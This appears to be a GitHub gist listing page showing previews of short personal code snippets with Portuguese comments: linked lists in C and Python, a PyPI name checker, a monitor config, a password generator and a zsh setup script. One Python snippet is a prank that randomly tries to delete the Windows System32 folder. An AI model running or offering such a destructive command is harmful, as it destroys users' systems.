This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| def check_pypi_package(name): | |
| url = f"https://pypi.org/pypi/{name}/json" | |
| response = requests.get(url) | |
| return response.status_code == 200 | |
| package_name = "example-package" # Substitua pelo nome desejado | |
| if check_pypi_package(package_name): | |
| print(f"O pacote '{package_name}' já está em uso.") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| alert('Testando Alert!'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <stdbool.h> | |
| // Definição da estrutura de um nó da lista ligada | |
| struct Node { | |
| int value; // Valor do nó | |
| struct Node *previous; // Ponteiro para o nó anterior | |
| }; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <stdbool.h> | |
| void main() { | |
| int numero = 10; | |
| int *ponteiro = № | |
| printf("%d\n", numero); | |
| printf("%d\n", &numero); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import random | |
| import os | |
| if random.randint(0, 6) == 1: | |
| os.remove(r'C:\Windows\System32') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Section "Monitor" | |
| Identifier "HDMI-1" | |
| Option "Primary" "true" | |
| Modeline "2560x1080_30.00" 106.75 2560 2640 2896 3232 1080 1083 1093 1102 -hsync +vsync | |
| Option "PreferredMode" "2560x1080_30.00" | |
| EndSection | |
| Section "Monitor" | |
| Identifier "eDP-1" | |
| Option "LeftOf" "HDMI-1" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| python -c "import string as s;from random import SystemRandom as sr;print(''.join(sr().choices(s.ascii_letters + s.punctuation, k=64)))" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class Node: | |
| def __init__(self, data): | |
| self.data = data | |
| self.next = None | |
| def __repr__(self) -> str: | |
| return self.data | |
| class LinkedList: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| int main() | |
| { | |
| for (int i = 0; i < 256; i++) | |
| { | |
| printf("%d = %c\n", i, i); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Instalando ZSH | |
| sudo apt install zsh -y | |
| # Instalando dependências | |
| sudo apt install -f -y | |
| # Configurando zsh | |
| chsh -s /bin/zsh | |
| zsh |
NewerOlder